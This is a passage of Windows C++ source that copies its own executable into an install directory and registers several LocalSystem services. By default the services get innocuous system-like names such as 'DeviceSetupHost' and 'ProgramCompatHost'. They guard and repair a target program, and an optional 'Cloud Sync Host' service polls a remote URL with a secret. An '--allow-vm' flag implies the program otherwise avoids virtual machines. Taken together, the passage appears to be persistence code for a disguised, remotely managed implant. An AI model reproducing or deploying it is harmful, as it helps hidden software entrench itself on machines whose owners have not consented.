SC_MANAGER_CONNECT); if (!scm) return; SC_HANDLE svc = OpenServiceW(scm, name.c_str(), SERVICE_STOP | SERVICE_QUERY_STATUS); if (svc) { SERVICE_STATUS st{}; if (ControlService(svc, SERVICE_CONTROL_STOP, &st)) { for (int i = 0; i < 50; ++i) { SERVICE_STATUS q{}; if (!QueryServiceStatus(svc, &q) || q.dwCurrentState == SERVICE_STOPPED) break; Sleep(100); } } CloseServiceHandle(svc); } CloseServiceHandle(scm); } // Copies this executable into the chosen install directory so the service does // not run out of Downloads, Temp, or a user profile. static bool InstallSelfCopy(const std::wstring& targetDir, std::wstring& installedPathOut) { installedPathOut.clear(); CreateDirectoryW(targetDir.c_str(), nullptr); wchar_t module[MAX_PATH]{}; DWORD len = GetModuleFileNameW(nullptr, module, _countof(module)); if (len == 0 || len >= _countof(module)) return false; std::wstring source = module; size_t slash = targetDir.find_last_of(L"\\/"); std::wstring leaf = (slash == std::wstring::npos) ? targetDir : targetDir.substr(slash + 1); std::wstring target = targetDir + L"\\" + leaf + L".exe"; if (_wcsicmp(source.c_str(), target.c_str()) == 0) { installedPathOut = target; return true; } // A service that was just stopped can keep its image mapped for a moment. // Retry instead of failing the whole install on a sharing violation. for (int attempt = 0; attempt < 20; ++attempt) { if (CopyFileW(source.c_str(), target.c_str(), FALSE)) break; DWORD err = GetLastError(); if (err != ERROR_SHARING_VIOLATION && err != ERROR_ACCESS_DENIED && err != ERROR_USER_MAPPED_FILE) { wprintf(L"[!] Cannot copy to %s (%lu)\n", target.c_str(), err); return false; } if (attempt == 19) { wprintf(L"[!] Cannot copy to %s (%lu), gave up after retries\n", target.c_str(), err); return false; } Sleep(500); } SetFileAttributesW(target.c_str(), FILE_ATTRIBUTE_NORMAL); installedPathOut = target; return true; } int InstallGuardServices(int argc, wchar_t** argv) { GuardConfig cfg; if (!ParseGuardArgs(argc, argv, 2, cfg)) { wprintf(L"Invalid arguments\n"); return 1; } std::wstring prefix = cfg.prefix; std::wstring driverService = prefix.empty() ? L"DeviceSetupHost" : prefix + L"Driver"; std::wstring guardService = prefix.empty() ? L"ProgramCompatHost" : prefix + L"Guard"; std::wstring repairService = prefix.empty() ? L"ServiceStateHost" : prefix + L"Repair"; cfg.driverServiceName = driverService; cfg.guardServiceName = guardService; cfg.repairServiceName = repairService; wchar_t module[MAX_PATH]{}; DWORD len = GetModuleFileNameW(nullptr, module, _countof(module)); if (len == 0 || len >= _countof(module)) { wprintf(L"Cannot resolve executable path\n"); return 1; } if (!cfg.targetPath.empty() && !FileExistsW(GetFullPathW(cfg.targetPath))) wprintf(L"[!] Target not found yet: %s (guard will retry at runtime)\n", cfg.targetPath.c_str()); if (!cfg.targetService.empty()) { SC_HANDLE scmCheck = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CONNECT); SC_HANDLE svcCheck = scmCheck ? OpenServiceW(scmCheck, cfg.targetService.c_str(), SERVICE_QUERY_STATUS) : nullptr; if (!svcCheck) wprintf(L"[!] Target service not installed yet: %s (repair will retry at runtime)\n", cfg.targetService.c_str()); if (svcCheck) CloseServiceHandle(svcCheck); if (scmCheck) CloseServiceHandle(scmCheck); } std::wstring installDir; if (cfg.keepLocation) { installDir = module; size_t slash = installDir.find_last_of(L"\\/"); if (slash != std::wstring::npos) installDir = installDir.substr(0, slash); } else if (!cfg.installDir.empty()) { installDir = cfg.installDir; } else { installDir = DefaultInstallDir(driverService); } if (cfg.installDryRun) { wprintf(L"DRY-RUN install plan\n"); wprintf(L" install dir: %s\n", installDir.c_str()); wprintf(L" %s \"%s\"\n", driverService.c_str(), DisplayNameForRole(L"driver").c_str()); wprintf(L" %s \"%s\"\n", guardService.c_str(), DisplayNameForRole(L"guard").c_str()); wprintf(L" %s \"%s\"\n", repairService.c_str(), DisplayNameForRole(L"repair").c_str()); wprintf(L" target: %s\n", cfg.targetPath.empty() ? L"(not set)" : cfg.targetPath.c_str()); return 0; } if (!WriteInstalledConfig(cfg)) { wprintf(L"Cannot write HKLM\\%s\n", kConfigKey); return 1; } std::wstring installedExe; // The previous generation of services may still be holding the old binary // open, which makes the copy fail. Stop ours first, then replace. StopServiceForUpgrade(driverService); StopServiceForUpgrade(guardService); StopServiceForUpgrade(repairService); if (!cfg.cloudServiceName.empty()) StopServiceForUpgrade(cfg.cloudServiceName); else if (!cfg.cloudUrl.empty()) StopServiceForUpgrade(L"CloudSyncHost"); if (!InstallSelfCopy(installDir, installedExe)) { wprintf(L"Cannot copy executable into %s\n", installDir.c_str()); return 1; } std::wstring exe = L"\""; exe += installedExe; exe += L"\""; auto imagePath = [&](const wchar_t* role, const std::wstring& serviceName) { std::wstring p = exe; p += L" -service "; p += role; p += L" --service-name \""; p += serviceName; p += L"\""; if (cfg.allowVm) p += L" --allow-vm"; return p; }; bool startNow = !cfg.noStart; bool driverOk = EnsureLocalSystemService( driverService.c_str(), imagePath(L"driver", driverService).c_str(), startNow, true, DisplayNameForRole(L"driver").c_str()); bool guardOk = EnsureLocalSystemService( guardService.c_str(), imagePath(L"guard", guardService).c_str(), startNow, true, DisplayNameForRole(L"guard").c_str()); bool repairOk = EnsureLocalSystemService( repairService.c_str(), imagePath(L"repair", repairService).c_str(), startNow, true, DisplayNameForRole(L"repair").c_str()); if (driverOk) SetServiceDescription(driverService.c_str(), DescriptionForRole(L"driver").c_str()); if (guardOk) SetServiceDescription(guardService.c_str(), DescriptionForRole(L"guard").c_str()); if (repairOk) SetServiceDescription(repairService.c_str(), DescriptionForRole(L"repair").c_str()); bool cloudOk = true; std::wstring cloudService; if (!cfg.cloudUrl.empty() && !cfg.cloudSecret.empty()) { cloudService = cfg.cloudServiceName.empty() ? L"CloudSyncHost" : cfg.cloudServiceName; std::wstring bin = exe; bin += L" -cloud-service --service-name \""; bin += cloudService; bin += L"\" --url \""; bin += cfg.cloudUrl; bin += L"\" --secret \""; bin += cfg.cloudSecret; bin += L"\""; if (!cfg.cloudAgent.empty()) { bin += L" --agent \""; bin += cfg.cloudAgent; bin += L"\""; } bin += L" --interval 15000"; if (cfg.allowVm) bin += L" --allow-vm"; bin += L" --elevated"; cloudOk = EnsureLocalSystemService( cloudService.c_str(), bin.c_str(), startNow, true, L"Cloud Sync Host"); if (cloudOk) SetServiceDescription( cloudService.c_str(), L"Keeps cloud-managed configuration in sync with the local machine."); wprintf(L"Cloud service: %s %s\n", cloudService.c_str(), cloudOk ? L"OK" : L"FAIL"); } wprintf(L"Driver service: %s %s\n", driverService.c_str(), driverOk ? L"OK" : L"FAIL"); wprintf(L"Guard service: %s %s\n", guardService.c_str(), guardOk ? L"OK" : L"FAIL"); wprintf(L"Repair service: %s %s\n", repairService.c_str(), repairOk ? L"OK" : L"FAIL"); wprintf(L"Installed to: %s\n", installDir.c_str()); wprintf(L"Target program: %s\n", cfg.targetPath.empty() ? L"(not set)" : cfg.targetPath.c_str()); wprintf(L"Target service: %s\n", cfg.targetService.empty() ? L"(not set)" : cfg.targetService.c_str()); wprintf(L"Config key: HKLM\\%s\n", kConfigKey); return (driverOk && guardOk && repairOk && cloudOk) ? 0 : 1; }